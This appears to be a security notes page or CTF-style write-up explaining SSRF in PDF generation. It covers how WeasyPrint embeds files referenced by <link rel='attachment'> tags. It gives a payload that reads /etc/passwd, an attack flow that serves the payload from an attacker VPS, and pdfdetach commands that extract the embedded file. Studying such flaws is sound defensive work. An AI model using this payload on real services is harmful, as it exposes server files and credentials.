Skip to main content

ssrf-in-pdf-generation

SSRF in PDF generation

Server-Side Request Forgery (SSRF) occurs when a web application fetches a remote resource based on user-controlled input. Instead of the attacker making the request directly, the server makes the request on their behalf.

When SSRF is combined with PDF generation, it becomes especially powerful because PDF renderers often:

  • Fetch external URLs
  • Load local files
  • Support multiple protocols (http, https, file, sometimes ftp)

We will see about SSRF in an application that generates PDFs using WeasyPrint.


Why PDF Generators Are Dangerous

Many applications allow users to generate PDFs from URLs:

  • Invoice generators
  • Report exporters
  • “Export as PDF” features

Under the hood, tools like:

  • weasyprint
  • wkhtmltopdf
  • phantomjs
  • reportlab (has a RCE too: CVE-2023-33733)

Act like browsers, meaning they:

  • Resolve URLs
  • Follow redirects
  • Load CSS, images, fonts, and linked resources

If input validation is weak, attackers can control what the PDF engine loads.


WeasyPrint-Specific Behavior

WeasyPrint has a very specific and exploitable feature:

<link> tags are embedded as EmbeddedFile objects inside the generated PDF

This is not common knowledge and is the core trick in this challenge.

What this means:

If you include a <link> tag pointing to a local file:

<link rel="attachment" href="file:///etc/passwd">

WeasyPrint will:

  1. Read the local file from disk
  2. Embed it inside the PDF as an EmbeddedFile
  3. Compress it using zlib
danger

The file content will not be visible in the rendered PDF view, but it exists inside the PDF structure.


Attack Flow

  • User controls a URL or HTML input or we can use a link to generate a pdf.
  • The server generates a PDF using WeasyPrint
  • Attacker injects a malicious <link> tag to the HTML content of the page or in a VPS with public ip.
<link rel="attachment" href="file:///etc/passwd">
  • Send the link http://pub-ip:port/ then wait for the above tag to render.
  • WeasyPrint embeds a local file into the PDF
  • Attacker downloads the PDF.
  • Attacker extracts and decompresses the embedded file using:
~/Downloads ❯ pdfdetach -list yourfile-1.pdf
1 embedded files
1: key.txt

<strong>## Save All:
</strong>pdfdetach -saveall yourfile-1.pdf

<strong>## Interesting Flags
</strong><strong># -save &#x3C;int> : save the specified embedded file (file number)
</strong><strong># -savefile &#x3C;string>: save the specified embedded file (file name)
</strong>